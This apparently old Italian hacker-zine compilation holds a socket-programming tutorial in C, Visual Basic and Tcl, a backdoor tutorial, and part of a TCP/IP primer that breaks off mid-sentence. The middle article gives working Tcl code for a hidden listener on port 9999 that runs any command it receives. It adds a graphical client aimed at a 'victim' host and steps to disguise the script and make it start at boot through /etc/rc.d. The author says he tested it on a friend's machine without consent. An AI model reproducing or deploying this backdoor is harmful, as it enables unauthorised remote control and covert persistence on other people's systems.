int socket(int dominio, int tipo, int protocollo)

Questo crea il socket. Se da' errore pari a -1 azz non e' andato a buon fine la
crezione del socket!

DOMINIO: indica il tipo di protocollo da utilizzare. Puo' essere:
AF_UNIX (protocolli interni UNIX)
AF_ISO (protocolli ISO)
AF_INET (protocolli per INTERNET) --> quelli che servono a noi!

TIPO: indica il modo in cui avviene la comunicazione. Ce ne sono vari tipi. I
più importanti sono:
SOCK_STREAM connessione permanente e bidirezionale che si basa sul
flusso continuo di byte. E' probabilmente il più sicuro
SOCK_DGRAM scambio di dati attraverso pacchetti di byte di lunghezza
massima fissata. Non e' affidabile al massimo.

PROTOCOLLO: indica il tipo di protocollo effettivo da utilizzare. Puo' essere
nullo il valore in modo tale che venga usato quello di default
regolato dal DOMINIO. Le altre possibilita' possono essere varie.
Chi ha linux puo' andare a leggere il file: /etc/protocols,
oppure leggere il mio :) :

-----------------------------------------------------------------------------

ip 0 IP # internet protocol, pseudo protocol
number icmp 1 ICMP # internet control message protocol
igmp 2 IGMP # Internet Group Management
ggp 3 GGP # gateway-gateway protocol
ipencap 4 IP-ENCAP # IP encapsulated in IP (officially ``IP'')
st 5 ST # ST datagram mode
tcp 6 TCP # transmission control protocol
egp 8 EGP # exterior gateway protocol
pup 12 PUP # PARC universal packet protocol
udp 17 UDP # user datagram protocol
hmp 20 HMP # host monitoring protocol
xns-idp 22 XNS-IDP # Xerox NS IDP
rdp 27 RDP # "reliable datagram" protocol
iso-tp4 29 ISO-TP4 # ISO Transport Protocol class 4
xtp 36 XTP # Xpress Tranfer Protocol
ddp 37 DDP # Datagram Delivery Protocol
idpr-cmtp 39 IDPR-CMTP # IDPR Control Message Transport
ipv6 41 IPv6 # IPv6
ipv6-route 43 IPv6-Route # Routing Header for IPv6
ipv6-frag 44 IPv6-Frag # Fragment Header for IPv6
ipv6-crypt 50 IPv6-Crypt # Encryption Header for IPv6
ipv6-auth 51 IPv6-Auth # Authentication Header for IPv6
ipv6-icmp 58 IPv6-ICMP # ICMP for IPv6
ipv6-nonxt 59 IPv6-NoNxt # No Next Header for IPv6
ipv6-opts 60 IPv6-Opts # Destination Options for IPv6
rspf 73 RSPF #Radio Shortest Path First.
vmtp 81 VMTP # Versatile Message Transport
ospf 89 OSPFIGP # Open Shortest Path First IGP
ipip 94 IPIP # Yet Another IP encapsulation
encap 98 ENCAP # Yet Another IP encapsulation

-----------------------------------------------------------------------------


Necessario sapere e' che il socket deve essere non bloccato!
Comunque questo riguarda la programmazione... cosa che io non voglio toccare
qui!

Il SERVER creato sopra attende un messaggio per stamparlo sul monitor. Ora mi
mostro un client in C capace di comunicare con il socket di prima.

------INIZIO-----------

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

void chiusura(int sock) {

//semplice come bere un bicchiere d'acqua!
close(sock);
return;
}

int creazione(char* destinazione, int porta) {
struct sockaddr_in temp;
struct hostent *h;
int sock;
int errore;

temp.sin_family=AF_INET;
temp.sin_port=htons(porta);

//gethostbyname indica l'IP con DNS
h=gethostbyname(destinazione);
if (h==0) {
printf("IP alfanumerico fallito\n");
exit(1);
}
bcopy(h->h_addr,&temp.sin_addr,h->h_length);

//Creazione del socket:
sock=socket(AF_INET,SOCK_STREAM,0);

//Connessione del socket:
errore=connect(sock, (struct sockaddr*) &temp, sizeof(temp));
return sock;
}

void comunicazione(int sock, char* messaggio) {
printf("Il messaggio inviato e' %s\n",messaggio);

//Si usa write come se fosse un file!
if (write(sock,messaggio, strlen(messaggio))<0) {
printf("Impossibile comunicare col SERVER\n");
chiusura(sock);
exit(1);
}
printf("Messaggio spedito\n");
return;
}

int main(int argc, char* argv[]) {
int descrittore;

//Creo e connetto:
descrittore=creazione("127.0.0.1",12345);

if((argc==2)&&(strcmp(argv[1],"exit")==0))
comunicazione(descrittore,"exit");
else
comunicazione(descrittore,"Un semplice messaggio");

chiusura(descrittore);

return 0;
}

---------FINE----------

Come potete vedere il C anche qui non si smentisce! Tratta tutto come un file!
Io invio messaggi come se scrivessi sopra il file "SOCKET" e lo leggo con
read()!

Esiste anche un altro modo che si basa su SEND e RECV.

int send(int descrittore_socket, const void* buffer, in lunghezza, unsignet int opzioni)

ove
BUFFER contiene il messaggio. Deve avere una dimensione superiore alla
lunghezza del messaggio.
LUNGHEZZA e' appunto la lunghezza del messaggio
OPZIONI mediamente si lascia 0.

Per RECV, praticamente uguale:

int recv(int descrittore_socket, const void* buffer, in dimensione_buffer, unsignet int opzioni)


Per quanto rigurada win
bisogna inserire questa libreria:

#include <winsock.h>

Per le piccole modifiche di stesura del codice... STUDIATE!

Data che io sono un bravo ragazzo vi posso dire che:

SERVER
sorgente --> 1521 byte
compilato --> 12826 byte

CLIENT
sorgente --> 1361 byte
compilato --> 13063 byte

questo per quanto riguarda il mio linux... win, "i don't know!" :)
ma penso non ci sia molta differenza.

Finito con il C, passiamo al VISUAL BASIC!

Per creare un server in VISUAL BASIC bisogna ricordarsi che comunque sara'
solo per Windozzolo.

La procedura e' abbastanza semplice:

1 Si crea un progetto Standard EXE
2 Si aggiunge il componente mswinsck.ocx che corrisponde a
microsoft winsock controls 5.0
3 Si inserisca il winsocke nel form e lo si nomini tcpServer
4 Si inerisca un textBox e gli si dia nome arrivo
5 Si inserisca questo codice:

----INIZIO---------

Private Sub Form_Load()
'imposto la porta
tcpServer.LocalPort = 12345
'imposto e lo metto in ascolto:
tcpServer.Listen
End Sub

Private Sub tcpServer_ConnectionRequest _
(ByVal requestID As Long)
If tcpServer.State <> sckClosed Then _
tcpServer.Close
tcpServer.Accept requestID
End Sub

Private Sub tcpServer_DataArrival _
(ByVal bytesTotal As Long)
'imposto che i dati arrivati vengano mostrati nella textbox arrivo
Dim strData As String
tcpServer.GetData strData
arrivo.Text = strData
End Sub

----FINE--------

Semplicissimo ma efficace!

Possiamo vedere come qui il SOCKET non e' toccato... e' un'oggetto a se stante
che va solo indirizzato alla porta (tcpServer.LocalPort = 12345) e ad
ascoltare (tcpServer.Listen).

Ma si puo' dire certo se questo e' un vantaggio o uno svantaggio? Sicuramente
no! Poiche' tutto ruota in base alle finalita'! Questo va bene per semplici
comunicazioni o un semplice trojan, ma forse per cose relealemtne più tecniche
il C da più liberta' a scapito forse della leggerezza di codice e di
semplicita'.

In VB creare un banale SERVER vuol dire 10 righe (max), in C abbiamo visto
prima. Più di 30! Il visual Basic lo porto il linux e non ho possibilita' di
utilizzo. Il C basta cambiare 2 righe e tutto diventa uguale sia in win che in
linux.

Ora vediamo un client capace di mandare un messaggio, sempre in visual BASIC:

Per creare un client si faccia:

1 Si apra sempre uno Standard EXE.
2 Si inserisca sempre un mswinsck.ocx come prima e gli si dia il nome
tclClient
3 Si aggiunga un textBox e gli si dia il nome messaggio
4 Si metta un CommandButton e gli si dia il nome connetti
5 Si aggiunga il seguente codice:

-----INIZIO-------

Private Sub Form_Load()
tcpClient.RemoteHost = "127.0.0.1"
tcpClient.RemotePort = 12345
End Sub

Private Sub connetti_Click()
tcpClient.Connect
End Sub

Private Sub txtSendData_Change()
tcpClient.SendData messaggio.Text
End Sub

-------FINE-----

Il client e' ancor più inpressionante come semplitica'. Due comandi indicano
porta e Host (tcpClient.RemoteHost = "127.0.0.1" e tcpClient.RemotePort =
12345) e il resto sono 2 righe: il pulsante che avvia la comunicazione
(tcpClient.Connect) e l'invio dei dati (tcpClient.SendData messaggio.Text).

Tutto questo con valori pressoche' identici al C:

SERVER:
sorgente --> form1.FRM: 1.525 byte / progetto.VBP 651
eseguibile --> 10.240 byte

CLIENT:
sorgente --> form1.FRM: 1.460 / progetto.VBP 651
eseguibile --> 10.240 byte


Non manca che un esempio di socket basato su script. Ho preso come vi ho gia'
detto il TCL, ma di per se' e' uguale prendere il PERL o altri.

Cosa c'e' gia' da dire in anticipo:

1 Non e' compilato! Quindi basta che qualcuno faccia un bel "vi nome_file.tcl"
che vede il codice sorgente. Voi direte che non e' nulla! Ma sappiate che la
presenza di bug e' dietro l'angolo!

C'e' sempre la possibilita' di rischiare di dare la propria macchina nelle
mani di uno sconosciuto hacker e se c'e' un SERVER in TCL, o la
programmazione e' iper sicura o si rischia di fare danni.
ESEMPIO: un server che esegua determinati comani di una shell e poi dia il
risultato al CLIENT. Noi siamo sicuri perche' il CLIENT da per far suo, solo
determinati comandi e (essendo noi molto ingenui) non ipotiziamo che
qualcuno possa fare altro da quello concesso dal CLIENT. Arriva un hacker
che mi entra nella macchina come untente generico e vuole cercare un bug.
Trova questo server! Un conto e' trovarlo compilato e un conto trovarlo come
script. Se e' compilato e' possibile che ci rinunci e non si metta a ricercare
il sorgente (dubito che si metta pure a decompilarlo!). Ma se e' uno script
e conosce un minimo il TCL, capisce al volo come funziona il gioco e se e'
capace puo' crearsi un CLIENT e diventare ROOT di quella macchina.
EX CLARO l'esempio (particolarmente stupido)?

2 Non e' grafico ma ci vuole molto poco a farlo diventare :)
Questo e' un profondo vantaggio! Poiche' e' possibile creare un SERVER non
grafico ma un client programmato nello stesso linguaggio grafico!

3 E' particolamente versatile! Non prevete le strette norme del C, ma allo
stesso tempo e' configurabile quasi come lui. Non e' cosi' semplice come il VB
ma e' capace di fare altrettanto!

4 E' multipiattaforma, cio' vuol dire che sul mio linux mi creo un CLIENT per
IRC e lo posso usare col relativo supporto anche in WINDOWS

5 E' usato anche come script per INTERNET (come il PERL e altri).

6 Comunica solo in TCP/IP. Non comunica ancora in UDP.

Tutto cio' va messo su una bilancia! Vanno fatte giuste considerazioni e poi si
deve scegliere cosa e' meglio per le nostre esigenze.

Facciamo quindi subito un esempio di un SERVER in TCL:

--------INIZIO--------

#!/usr/bin/tcl

#variabile per la porta:
set porta 12345

proc esamina {sock} {

set l [gets $sock]

#questa procedura legge in socket
#e se non trova il comando EOF
#cioe' di fine, stampa:

if {[eof $sock]} {
close $sock
} else {

#Stampa il tutto:
puts $l
}
}

proc accetto {sock addr port} {

#regola gli enventi del socket:
fileevent $sock readable [list esamina $sock]

#Lo configura non bloccato (vedi C):
fconfigure $sock -buffering line -blocking 0

}

#crea il socket e aspetta gli eventi:
socket -server accetto $porta
vwait events

---------FINE---------


Cosa c'e' da dire? E' la via di mezzo fra uno e l'altro esempio. Dico una via
di mezzo perche':

1 il socket non e' qualcosa di pre confezionato (creazione del socket: socket
-server accetto $porta, configurazione: fconfigure $sock -buffering line
-blocking 0)
2 Non e' quella serie di comandi stani per regolare le porte e simili. Ho messo
una variabile contenete la porta e gliel'ho fatta leggere (potevo pero'
anche non farlo).
3 E' semplice e stabile ed e' testuale. Avrei potuto farlo diventare grafico
cosi':

---------INIZIO---------

#!/usr/bin/wish

#possiamo vedere che non e' più TCL ma WISH, poiche' voglio la grafica
#e quindi il supporto TK

#creo un'etichetta:
label .a -text "Attendo connessioni..."
pack .a

set porta 12345

proc esamina {sock} {
set l [gets $sock]
if {[eof $sock]} {
close $sock
} else {

#modifico l'etichetta di prima con una nuova scritta:
.a configure -text "Il messaggio trasmesso e'\n$l"
}
}

proc accetto {sock addr port} {

fileevent $sock readable [list esamina $sock]

fconfigure $sock -buffering line -blocking 0

.a configure -text "Connessione avvenuta..."
}

socket -server accetto $porta
vwait events

----------FINE----------

Una grafica scarna solo per necessita', ma e' possibile creare applicazioni
della stessa complessita' del VISUAL BASIC.
Analizziamo ora il CLIENT in TCL:

--------INIZIO----------

#!/usr/bin/tcl

set s [socket 127.0.0.1 12345]
fconfigure $s -buffering line
puts $s "Un semplicissimo messaggio"

--------FINE-----------

Mi direte: ma e' più corto di VB! Si' e' vero solo perche' non ho messo l'opzione
di scelta del messaggio come avevo fatto in visual basic. Se cosi' avessi fatto
sarebbe diventato questo:

-------INIZIO-----------

#!/usr/bin/wish

label .messaggio -title "Inserisci nello spazio sottostante\nun messaggio da\
inviare al server"


entry .spazio -textvariable msg

button .invia -text "ok" -command spedisci
pack .messaggio .spazio .invia

proc spedisci {} {
global $msg

set s [socket 127.0.0.1 12345]
fconfigure $s -buffering line
puts $s $msg

}

------FINE--------------


Semplice no?
Vi ricordo che tutti gli esempi qui riportati sono solo base. Gia' in queso
avrei dovuto fare un controllo della presenza del messaggio, poi avrei dovuto
mettere un titolo alla finestra e simili. Ma queste sono solo sottigliezze.

SERVER:
testuale --> 298 byte
grafico --> 606 byte

CLIENT:
testuale --> 114 byte
grafico --> 342 byte

I programmi più piccoli mai esistiti sulla faccia della terra!

Mettiamo a confronto i 4 programmi:

-----------------------------------------------
| | C | VISUAL | TCL | TCL/TK |
| | | BASIC | | |
-----------------------------------------------
| SERVER | | | | |
| sorgente | 1521 | 1525+651 | 298 | 606 |
| compilato| 12826| 10.240 | | |
-----------------------------------------------
| CLIENT | | | | |
| sorgente | 1361 | 1460+651 | 114 | 342 |
| compilato| 13063| 10240 | | |
-----------------------------------------------

Possiamo quindi tranquillamente affermare che se il nostro problema e' lo
spazio il TCL e' il massimo.
Se il nostro problema e' la grafica possiamo optare per il VB o il TCL/TK
Per quanto riguarda altri aspetti... spero di essere stato abbastanza chiaro!
Se il nostro problema e' la sicurezza gia' sappiamo!


La mia panoramica sui SOCKET direi che finisce qui! Ho esaminato tre linguaggi
che mi sembrano esempi di 3 tipologie distinte di linguaggi mostrandone i
pregi e i difetti.

Per aiuti, critiche o commenti sappiate che io sono reperibile sempre al mio
indirizzo email! Ciao e buona programmazione!

-----------------------------------FINE------------------------------------

Michael Bakunin
<bakunin@meganmail.com>

==========================================================================================

----------------------------------------------
| Una idea sulla creazione di una BACKDOOR... |
----------------------------------------------
| by |
| Michael Bakunin |
| <bakunin@meganmail.com> |
----------------------------------------------

Eccomi di nuovo qui! Sono tornato con una bella idea (o forse molto più di
un'idea :) ) molto caruccia sull'installazione di una backdoor in un sistema
*nix e Linux. Io l'ho provato su LINUX e vi assicuro che funziona! Quindi...

...prima di incominciare vi devo dire questo:

*****************************************************************
** Tutto quello che scriverò è solo a scopo informativo, quindi **
*** se fate danni o semplicemente vi sgamano e vi trovare la pula ***
*** sotto casa... è solo un problema vostro. In non centro ***
** assolutamente con l'uso che fate di queste informazioni! **
*****************************************************************


Che cosa vi voglio raccontare oggi? Semplicemente come creare un trojan e
come piazzarlo un sistema LINUX in modo che parta all'avvio autonomamente
permettentoci di fare sulla macchina della vittima ciò che ci pare e piace!

Io l'ho provato sul PC di un mio amico :) che ha la RH 6.0 e mi sono divertito
tanto, tanto! Anzi... tantissimo! Poi lui ha fatto casini e ha reinstallato
tutto portandosi alla RH 6.1... Magari rifaccio il giochino!
Probabilmente conoscendolo sta leggendo pure questo articolo (PS: se verrà
pubblicato!) quindi... non vi posso (ma soprattutto non GLI!) posso dire il
nome.

Io ho scelto il TCL come linguaggio per un semplice fatto: 1 è veloce da
scrivere! Si può scrivere direttamente sul computer della vittima :)

Ma saltiamo i convenevoli e passiamo subito alla parte pratica del gioco!


CONOSCENZE INDISPENSABILI:

1 Un minimo di programmazione in TCL/TK
2 Saper conquistare il root in un sistema UNIX


Questo articolo si occupa di 3 cose:

1 CREAZIONE DI UN SERVER
2 CREAZIONE DI UN CLIENT
3 COME METTERE IL SERVER ALL'AVVIO DI LINUX

Fin qui dovremmo esserci!

Premessa:

1
Tutta a programmazione che qui vi mostrerò sarà fatta in TCL. E' "di serie" su
tutte le piattaforme linux e in teoria su tutte le piattaforme *NIX. Dico in
teoria perchè diciamo che se prendete una distro UNIX degli anni 60... forse
non c'è ancora!

2
Non mi preoccupo in questo articolo di come procorarci il "root". Mi preoccupo
soltanto della creazione della backdoor.


Inizio:

Noi sappiamo che esistono dozzine di backdoors. Sicuramente il più semplice è
un aggiungere un nuovo utente con permessi root, ma fin tanto che voi creiate
un nick anonimo, comunque l'amministratore prima o poi se ne accorgerà.

Forse, una più sofisticata è creare un server da piazzare all'interno dell'OS
in modo particolarmente anonimo, che parta all'avvio e che ascolti una porta
sconosciuta. È possibile accorgersi pure qui della presenza della backdoor...
ma forse è più complicato (specie se OP è particolarmente incompetente!).

Facciamo un server particolarmente semplice per iniziare in TCL:

------INIZIO---------

#!/usr/bin/tcl

proc ascolta { fd addr port } {
while { [ gets $fd l ] != -1 } {
puts "ricevuto: $l"
}
flush stdout
}

set s [ socket -server ascolta 9999 ]

vwait name

------FINE-----------

Se volete altri esempi... leggete il mio articolo sul confronto tra i socket.
Lì c'è anche una spiegazione generale del funzionamento.

Abbiamo creato un socket "s" che è server e che ascolta alla porta 9999.
Quanto avviene la connessione di un client, parte la procedura "ascolta" che
riceve dati e li stampa.

Finqui niente di che!

Incominciamo a modificarlo per bene:

1 CI VA BENE LA PORTA 9999 ? Fate un po' voi...

2 COSA GLI FACCIAMO FARE?
Incominciamo con l'eseguire un comando...

In TCL per fare questo si usa il comando:
EXEC comando opzioni

Quindi diventerebbe:

------INIZIO---------

#!/usr/bin/tcl

proc ascolta { fd addr port } {
while { [ gets $fd l ] != -1 } {
exec $l &
}
flush stdout
}

set s [ socket -server ascolta 9999 ]

vwait name

------FINE-----------

Ho aggiunto anche il segno & che avvia il comando in background...
Così possiamo fare più comandi che richiedono tempo!

Possiamo anche dare un saluto iniziale e un messaggio di avvenuto messaggio.
Questo si fa con il comando PUTS
Che diventa:
PUTS $socket "MESSAGGIO"


------INIZIO---------

#!/usr/bin/tcl

proc ascolta { fd addr port } {
puts $fd "$addr:$port you are connected to the 999 port"

while { [ gets $fd l ] != -1 } {
exec $l &
puts $fd "ok"
}
flush stdout
}

set s [ socket -server ascolta 9999 ]

vwait name

------FINE-----------

Vi chiedete perchè in inglese? Meglio non rischiare! Unix è tutto in inglese.

Cosa succedere fino a qui se montassimo questo socket? Che appena un client si
connetterebbe, riceverebbe il messaggio farebbe l'operazioni e poi si
chiuderebbe all'istante.

Questo vuol dire che se io voglio entrare nella directory /usr/sbin e lanciare
un programma, dovrete mettere come messaggio dal client questo:

cd /usr/sbin;./nome_programma

ok?
Questo perchè in LINUX come in UNIX i comandi possono essere dati anche non in
serie ma separati da un ;

Questo potrebbe essere soddisfacente perchè apre la porta in modo veloce...
il client, appena dato il comando si sconnetterà data il fatto che il comando
è stato messo in background.

Mica male!

Da notar il ciclo che ci permette di dare un messaggio più di una riga. Questo
ci sarà utile per il CLIENT quindi...


Ora preoccupiamoci del CLIENT:

Il client può essere benissimmo una semplice sessione di telnet, ma dato che
ci piace fare i raffinati, facciamolo fino in fondo!
Facciamo un CLIENT grafico che si connetta ad un server dato alla porta 9999
e che gli mandi i comandi che vogliamo.

---------INIZIO-----------

#!/usr/bin/wish

set host ""
set msg ""

#Con questi imposto il titolo e la geometria della finestra:
wm title . "CLIENT by BAKUNIN"
wm geometry . 400x200

#Sfondo rosso:
. configure -bg red

#Parte dell'HOST:
label .host -text "Inserisci qui l'HOST della vittima:" -bg red
entry .nhost -textvariable host
place .host -x 10 -y 20
place .nhost -x 230 -y 20

#Parte per il messaggio:
label .msg -text "Inserisci qui i comandi da dare al SERVER:" -bg red
entry .mess -textvariable msg
place .msg -x 10 -y 60
pack .mess -fill x -pady 30m

button .connetti -text "Connetti e invia" -command invia -bg blue
place .connetti -x 130 -y 130

#Procedura per l'invio del messaggio:
proc invia {} {
global host msg

#Controllo se l'HOST è stato messo:
if {[string length $host]<=0} {
tk_messageBox -icon info -type ok -message "Attenzione! Non hai messo
l'host!"

return 1

#Controllo per il messaggio esiste:
} elseif {[string length $msg]<=0} {
tk_messageBox -icon info -type ok -message \
"Non ha nessun senso connettersi al SERVER se manca un messaggio!"
return 1

#Controllo se l'IP è corretto:
} elseif {![string match *.*.*.* $host]} {
tk_messageBox -icon info -type ok -message \
"Attenzione! L'HOST è tipo 127.0.0.1 !"
return 1
} else {

#Creo il socket e invio i dati:
set s [socket $host 9999]
puts $s $msg
tk_messageBox -icon info -type ok -message \
"Messaggio inviato con successo!"
return 1

}
}

----------FINE------------

Fatto! L'ho pure commentato per farvelo capire meglio :).

Semplicemente mando un messaggio all'IP... sarà poi lui a farlo eseguire.
Sappiate che il CLIENT è accetta 2 variabili: HOST e MSG. Uno è il IP del
server, l'altro è il messaggio da mandare. Per sicurezza ho fatto dei
controlli sulle variabili.
Questi sono:

LA LUNGHEZZA (che non deve essere nulla!): if {[string length $msg]<=0}...
ed anche: if {[string length $msg]<=0} {...
SE È UN VERO IP: if {![string match *.*.*.* $host]} {...

Poi connetto con il solito uso dei socket: set s [socket $host 9999] e invio i
messaggi: puts $s $msg.

EX CLARO?


Passiamo alla parte più interessante... far partire un processo all'avvio!
COME FARE?
Semplicissimo!

Basterà creare uno script anche ben inculato... e linkarlo nel posto giusto!
Metterò lo server in TCL nella directory /usr e lo salverò col nome di 1dd2cd.
Voi mettetelo dove volete!

Questo script lo salvo nella stessa directory /usr e lo salvo come 1dd2ck

Vediamo prima lo script che ci serve:

--------INIZIO-------------

#!/bin/sh

case "$1" in
start)
echo -n "Attivation connection:"
tcl /usr/1dd2cd & || exit 1
echo "."
;;
stop)
#Volete dare pure la possibilità di fermarlo? =)
echo "."
;;
*)
echo "Use: 1dd2ck {start|stop}"
exit 1
;;
esac

exit 0

--------FINE------------------

Semplice no?

Per non marcare particolarmente non mettiamo in esecuzione il file 1dd2cd! Ma
teniamolo come file normali. Per farlo partire interpelliamo direttamente il
programma tcl: tcl /usr/1dd2cd.

Sicuramente dovrete dare l'eseguibile al file 1dd2ck, quindi:

chmod +x /usr/1dd2ck

Ora mettiamolo in esecuzione all'avvio!
Come fare?

Entriamo nella directory /etc/
Qui dovrebbe esserci una directory /rc.d e altre varie.
Dico dovrebbe perchè cambia in base alle distro di UNIX o LINUX. Entrate
nella directory che ci assomiglia di più e all'interno entrate nella directory
che volete!

Dico questo perchè mediamente queste dovrebbero tipo: rc1.d rc2.d o simili
Sappiate che in base alle varie distro può cambiare abbastanza!

Entrati lì dentro fate questo:

ln -s /usr/1dd2ck S391dd2ck

Cosa ho fatto? Semplice, ho creato un collegamento simbolico da /usr/1dd2ck
alla directory in cui siete ora. In più ho dato il nome al link come
S39idd2ck.

NOTA IMPORTANTE: S39 per un motivo molto importante! Nella directory che avete
scelto per il link vedrete che tutti i file sono numerati o come Snumero o
come Knumero. È indifferente che lettera scegliete l'importante e che il
numero sia molto basso. Io ho scelto S39 ma se c'è già cambiate!

Mettete il numero che volete voi in base all'assenza di essi. Quindi fate!
Più il numero è piccolo più parte prima all'avvio. Avete in mente come parte
una macchina linux? Dopo i lavori del kernel, incomincia a far partire file
di configurazione. Quelli sono tutti lì! E vengono caricati in ordine del
numero e della lettera.

Ora non resta che farlo partire subito con un bel:

./1dd2ck start

e via! La backdoor è montata e funzionante... non vi resta che uscire e
giocare con vostro bel client sulla porta 9999.

Spero di avervi mostrato un metodo come un altro per la creazione di una
backdoor in un sistema *NIX/LINUX con un minimo di programmazione in TCL.

Messaggi, suggerimenti, correzioni e simili... in somma tutto quello che
volete! a Michael Bakunin.

Ciao a tutti!

Michael Bakunin
bakunin@meganmail.com

------------------------------------FINE------------------------------

==========================================================================================

Protocolli di rete
------------------
scritto da legba newflesh@bigfoot.com
------------------

INTRO (leggetela!)

Perche' ho scritto queste pagine? bhe'... il concetto e' semplice, se
leggo un libro una volta mi ricordo un po' di cose, se lo leggo e lo
riassumo me ne rimangono di piu'. Una volta scritti gli appunti poi renderli
condivisibili e' il mio piccolo contributo affinche'chi razzola su internet
impari a conoscere e rispettare lo strumento che usa. Questo ha un vantaggio
ed e' quello che nessuno vi chiedera' mai dei soldi per leggere queste pagine
e uno svantaggio che e' il fatto che io queste cose le ho imparate studiando
su un libro, nessuno mi paga, quindi non vi assicuro che non contengano qualche
stronzata (se ne trovate siete pregati di farmelo sapere) e non hanno la
pretesa di essere complete o omnicomprensive, possono essere un punto d'inizio
per avere una panoramica su concetti che poi approfondirete da soli.
La prossima volta che studiate qualcosa fatelo anche voi :)

Ultimo commento prima di iniziare, tutto quello che c'e' scritto da qui in poi
e' frutto del mio interesse per la rete e le sue viscere, non nasce dalla
voglia di "entrare nel computer di qualcuno" (io per primo non l'ho mai
fatto) quindi non pensate che sia quello che si impari, se vi interessa come e'
fatta la rete leggete, altrimenti leggete lo stesso perche' non entrerete mai
nel computer di nessuno se non sapete queste cose (e molte altre).

iniziamo....

Le comunicazioni di rete avvengono attraverso protocolli organizzati in
strati (layer), si parte dai protocolli di basso livello (comunicazioni tra
due macchine a livello "fisico") fino a i protocolli di livello applicazione
(telnet, ftp...). Lo schema rappresenta i vari strati e alcune delle
"applicazioni" che gli appartengono, le due parti di questo libercolo
riguardano il secondo e il terzo, non credo avro' la pazienza di scrivere
anche sul quarto... buona lettura :)



__________________________________________________
4- application layer | SMTP, FTP, TELNET, SMNP .... |
|________________________________________________|
3- transport layer | TCP , UDP |
|________________________________________________|
2- internet layer | IP (+ ARP, RARP, ICMP, IGMP) |
|________________________________________________|
1- hardware layer |_________drivers, schede, fibre..ecc____________|


NB la struttura dei protocolli nella sua accezione piu' generale
prende il nome di protocollo IP ma essendo le comunicazioni fortemente
basate anche sul TCP spesso il tutto viene chiamato protocollo TCP-IP.


*********************PARTE I***********************

PROTOCOLLO IP

Per capire che cos'e un protocollo e a che cosa serve bisogna prima avere
un'idea di come e' fatta la rete: Internet e' costituita da tante reti
diverse collegate insieme, ognuna di queste reti e' nata per scopi diversi ed
ha caratteristiche diverse, ci sono reti locali (LAN) che hanno come
caratteristica principale la velocita' e collegano solo poche decine di
computer, altre che si estendono per chilometri, altre che offrono sicurezza e
affidabilita'... e' ovvio che ognuna di queste reti sara' costituita da
macchine, software, organizzazione dei dati di tipo diverso quindi non e' per
niente banale riuscire a farle comunicare tra di loro. Le reti sono collegate
tra di loro attraverso dei router o gateways che non sono altro che macchine
che fanno da ponte tra due o piu' reti. Il protocollo TCP-IP e' un'insieme di
convenzioni che rendono possibile la comunicazione tra reti diverse (il
protocollo e' in evoluzione, la versione ufficiale a cui siamo arrivati e' la
4 ma sembra che presto si passera' alla 6). Per fare questo crea una
sovrastruttura indipendente dalle singole LAN, ognuna di queste viene trattata
come un'entita' a parte di cui non interessa il contenuto, il protocollo si
basa solo sulla sua sovrastruttra. La cosa fondamentale da capire e' che il
protocollo deve essere indipendente dalle singole reti locali, il protocollo
deve vedere le reti locali come un insieme di connessioni alla rete estesa
disinteressandosi delle macchine che sono associate ad ogni connessione.


INDIRIZZI FISICI E INDIRIZZI IP

La possibilita' di scambiare dati tra una macchina A e una macchina B e'
collegata alla necessita' di dare un nome alle macchine, la macchina A deve
sapere l'"indirizzo" della macchina B. All'interno di una LAN questo viene
ottenuto in molti modi diversi, per esempio una sceda di rete ha un numero che
identifica la macchina nella quale risiede, in internet bisogna fare in modo
che ogni connessione (=accesso alla rete) abbia un proprio indirizzo. La
differenza fra gli indirizzi in una LAN e quelli in internet e' che
normalmente in una lan ogni macchina ha un proprio indirizzo fisico associato
alla scheda, *tutti gli scambi all'interno di una stessa rete vengono fatti
utilizzando gli indirizzi fisici* quindi se io sposto la scheda di rete su una
macchina diversa l'idirizzo ora corrisponde alla nuova macchina, il protocollo
deve invece essere indipendente dalle LAN e dalle singole macchine quindi
invece di dare un indirizzo fisico ad ogni macchina si da' un indirizzo ad
ogni connessione, ogni accesso alla rete ha un identificazione,
indipendentemente dalla macchina che gli associamo. Quindi:

*il protocollo IP vede una LAN come un insieme di connessioni,
indipendentemente da quali o quante macchine ci siano in effetti attaccate*

Questo presuppone di sapere il numero di connessioni che una rete ha
verso internet, ma viene dopo...
Il protocollo IP utilizza un tipo di indirizzo (indirizzo IP o
semplicemente IP) costituito da quatto byte ovvero quattro ottetti di cifre in
binario, un esempio di ip e' :

11011111.11111000.11100110.00001101

che in decimale si puo' scrivere

191.248.240.13

Gli indirizzi vanno da 0.0.0.0 a 255.255.255.255 sono quindi in totale 256^4
anche se alcuni di questi sono riservati per usi particolari.
Ad ogni LAN viene assegnata una *classe di ip*, ovvero un certo numero di
indirizzi, la prima parte dell' indirizzo identifica la LAN (netid) la
seconda parte identifica la connessione (hostid). Piu' precisamente esistono 3
classi di ip che vengono assegnate alle LAN a seconda delle loro dimensioni

0 1 2 3 8 16 24 31 Bit
_________________________________________
|0| netid | hostid | Classe A
|_|__________|____________________________|
__________________________________________
|1|0| netid | hostid | Classe B
|_|_|_________________|___________________|
_________________________________________
|1|1|0| netid | hostid | Classe C
|_|_|_|_________________________|_________|

La classe A offre 7 bit per il netid e 24 per l'hostid e' utilizzata quindi
per reti con molte connessioni, le classi B e C funzionano allo stesso modo
per reti via via piu' piccole, i primi bit servono per riconoscere a quale
classe appartiene un ip. Ogni volta che un router riceve un pacchetto da
inviare legge i primi bit, riconosce quindi a quale classe appartiene l'ip,
legge il netid e manda il pacchetto alla rete corrispondente, una volta che il
pacchetto e' arrivato alla rete viene usato l'hostid per indirizzare il
pacchetto verso la connessione giusta (vedi dopo,routing). Alcune convenzioni
sono che un ip formato da tutti 1 equivale a un broadcast su tutta la rete
locale ovvero se specifico tutti 1 nel destinatario il pacchetto viene mandato
a tutti gli utenti della LAN (broadcast), un ip costituito da tutti 0 equivale
a "questo utente" ,se invece la prima cifra e' 127 ci si riferisce alla
propria macchina, il risultato e' lo stesso di scrivere una fila di zeri ma il
pacchetto non lascia mai la propria macchina mentre con una fila di zeri il
pacchetto viene mandato in rete e ritorna al mittente.

NB: abbiamo detto che un router e' una macchina che collega due o piu' reti,
quindi deve far parte allo stesso tempo di due reti diverse, perche' questo
avvenga e' necessario che il router abbia due indirizzi ip, uno per ogni rete
di cui fa parte.


GESTIONE DEGLI INDIRIZZI FISICI (protocollo ARP e RARP)

Normalmente una LAN non nasce per internet, viene creata per certi scopi e
successivamente collegata con internet, quando la rete viene creata le
comunicazioni avvengono solo attraverso gli indirizzi fisici, nel momento in
cui la si collega alla rete estesa questa caratteristica non la si puo'
cambiare, le comunicazioni all'interno di una LAN avvengono sempre attraverso
